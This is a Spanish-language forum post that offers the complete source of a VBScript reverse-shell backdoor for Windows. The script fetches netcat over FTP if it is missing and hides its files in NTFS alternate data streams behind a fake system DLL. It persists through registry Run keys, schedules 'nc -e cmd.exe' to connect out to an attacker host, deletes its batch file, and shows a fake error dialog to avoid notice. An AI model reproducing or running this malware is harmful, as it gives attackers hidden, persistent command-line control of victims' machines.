Aca les dejo un codigo en VBScript de una reverse shell pasiva que estuve haciendo este ultimo tiempo.
Para los que no saben lo que es una reverse shell, se los paso a explicar:
Simplemente se infecta a la victima para que se conecte al atacante. Este estara escuchando en X puerto, esperando la coneccion de la victima. Una vez que se establezca la coneccion, el atacante dispondrá de una linea de comandos en la pc victima, debido a que la entrada/salida de la conección establecida se ha conectado a la linea de comandos de la pc infectada.
shell
VICTIMA ------------------> ATACANTE
El funcionamiento es simple: la típica r-shell que se conecta al cliente usando el netcat. Se busca el nc.exe en el sistema a infectar, y en caso de no estar, se descarga uno de algun server ftp.
Para darle una pizca de creatividad, decidi camuflar ciertos archivos (ya sean los usados para la descarga del netcat, en caso de no estar en el sistema en el momento de la infección u otros) con la técnica de los ADS (alternate data streams).
Cabe destacar que al usar este método, la reverse shell solo funciona en sistemas Windows donde la raiz del sistema este en una particion ntfs...
La r-shell se agrega a la subclave 'run' del registro, para iniciarse cada vez que el infectado inicia su pc. Le agregue cierto tiempo de retardo en la coneccion, para darle tiempo al usuario afectado a conectarse a internet.
Se que es un tanto desordenado y caótico, pero ojala que les sirva de algo. Tambien tiene unos cuantos bugs, y tal vez me haya olvidado alguna linea de código que use en el debugging, pero que en la version real no va. En caso de encontrar alguna, favor de avisar.
------------------------------------------------------------------------------------------------------------------------------
on error resume next
'
' ADSSH - v1.0
'
' Reverse shell para WinXP camuflada con alternate data streams
' the Pitbull@2007
'
' Thanks to EsTeBaN~, compañero en las buenas y en la malas.
'
'#CONFIGURACION# -> obligatoria!const host =
"localhost" 'Host que recibira la shell. si, vosconst port =
"21" 'puerto en el que escuchara. nuevamente, vosconst ftpServerRoute =
"ftp.fu-berlin.de/doc/o-reilly/networksa/tools/nc.exe" 'ruta de descarga del nc.execonst delay =
1 'tiempo de espera en minutos para la coneccion'#FIN DE LA CONFIGURACION -> LISTO PARA USAR #
'######################################################################
'########## EMPIEZA CODIGO PRINCIPAL ################
'######################################################################
const VBSregKey =
"cmdslibr" 'nombre de la/s futura clave en ****Run y ***Apset fso = createobject("scripting.file
systemobject")
'objeto para manipular filesadsFile = fso.GetSpecial
Folder(SystemFolder) &
"\system32\btpanui.dll" 'nombre del archivo contenedoradsInst = adsFile &
":ins" 'el stream de un archivo de instrucciones ftpadsNC = adsFile &
":svcc.exe" 'el netcat renombradoadsVBS = adsFile &
":cmdslib.vbs" 'un vbs que se ejecuta al iniciobatchfile = fso.getspecial
folder(SystemFolder) &
"\fatr.bat" 'archivo usado en la descarga ftp
URL = replace(ftpServerRoute, left(ftpServerRoute, instr(ftpServerRoute, "/") - 1), "")
sFTP = replace(ftpServerRoute, URL, "")
if not infectado() then
'si no esta infectado... infectamos if not fso.FileExists(adsFile) then crearDLL()
'donde ocultaremos todos los archivos if not fso.FileExists(adsInst) then GuardarInstruc
ciones()
'instrucciones para una descarga ftp if not fso.FileExists(adsNC) then GuardarNetcat()
'escondemos el netcat if not fso.FileExists(adsVBS) then GuardarScript()
'el script que iniciaremos con windows
AgregarAlRegis
tro()
'agrega el script y el nc a varias subclaves
end if
'ejecuto con 'at' para que el nc se conecte despues de un cierto timecreateobject("wscript.shell").run "AT " & hour(now()) & ":" & (minute(now()) + delay) & " " & adsNC & " " & host & " " & port & " -d -e cmd.exe"
camuflar()
'serie de payasadas poco creibles para hacer pasar la infeccion desapercibida'######################################################################
'########### SUBPROCEDIMIEN TOS ################
'######################################################################
private sub AgregarAlRegis tro() 'agregamos al registro al archivo *.bat para que haya coneccion cada vez que se inicia la PC. createobject("wscript.shell").regwrite "HKEY_LOCAL_MAC
HINE\Software\Microsoft\Windows\CurrentVersion\Run\" & VBSregKey, VBSregKey & ".exe"
'creamos un path del programa para que sea mas dificil de encontrar createobject("wscript.shell").regwrite "HKEY_LOCAL_MAC
HINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" & VBSregKey & ".exe\", adsVBS
end subprivate sub crearDLL() if fso.FileExists(fso.GetSpecial
Folder(SystemFolder) & "\system32\batt.dll") then fso.CopyFile fso.GetSpecial
Folder(SystemFolder) & "\system32\batt.dll", adsFile, true
end subprivate sub GuardarScript() 'guardo por ads un script que se ejecutara al iniciar windows set vbs = fso.CreateText
File(adsVBS, true)
vbs.writeline("createobject(""wscript.shell"").run (""AT "" & hour(now()) & "":"" & (minute(now()) + " & delay & ") & "" " & adsNC & " " & host & " " & port & " -d -e cmd.exe"")")
vbs.close()
end subprivate sub GuardarNetcat() 'escondemos el netcat con los queridos alternate data streams if fso.FileExists(fso.GetSpecial
Folder(SystemFolder) & "\system32\nc.exe") then
fso.CopyFile fso.GetSpecial
Folder(SystemFolder) & "\system32\nc.exe", adsNC, true
elseif not fso.FileExists(fso.GetSpecial
Folder(SystemFolder) & "\system32\nc.exe") then
'se lo bajamos set ftp = fso.createtext
file(batchfile, True)
ftp.writeline("@echo off")
ftp.writeline("title browselc config")
ftp.writeline("echo Presione una tecla para continuar . . . ")
ftp.writeline("ftp -s:" & adsInst & " " & sFTP & " > nul")
ftp.close
createobject("wscript.shell").run batchfile
end if
end subprivate sub GuardarInstruc ciones()'metemos a un file por ads los comandos ftp, que luego se usaran set ftp = fso.createtext
file(adsInst, True)
ftp.writeline("anonymous")
ftp.writeline("noHayPassword")
ftp.writeline("bin")
ftp.writeline("get " & URL & " " & adsNC)
ftp.writeline("quit")
ftp.close
end sub
private function infectado() 'funcion que chequea si estamos infectados if fso.FileExists(adsFile) and _
fso.FileExists(adsInst) and _
fso.FileExists(adsNC) and _
fso.FileExists(adsVBS) then
infectado = true
exit function else
infectado = false
exit function end if
end functionprivate sub camuflar() 'borramos el *.vbs, para evitar la lectura del script despues de la infección
'fso.DeleteFile(wscript.script fullname) '(si se compila a exe no se debe usar) if fso.FileExists(batchfile) then fso.DeleteFile(batchfile) 'borramos el batch
'Esto no es nada mas que un bucle para retardar la aparicion del msgbox, for wait = 0 to 999999
'para que este aparezca despues que la ventana del next
'batchfile, en caso de haberlo tenido que usar 'para intentar pasar por desapercibida a la infeccion, simulamos un error... msgbox "Error de ejecucion: no se encuentra browselc.dll.", 16, "Error"
end sub------------------------------------------------------------------------------------------------------------------------------
Referencias:
Para ver este enlace Registrate o Inicia SesionPlacing backdoors through firewalls, Van Hauser, THC
--> Este tipo es un genio.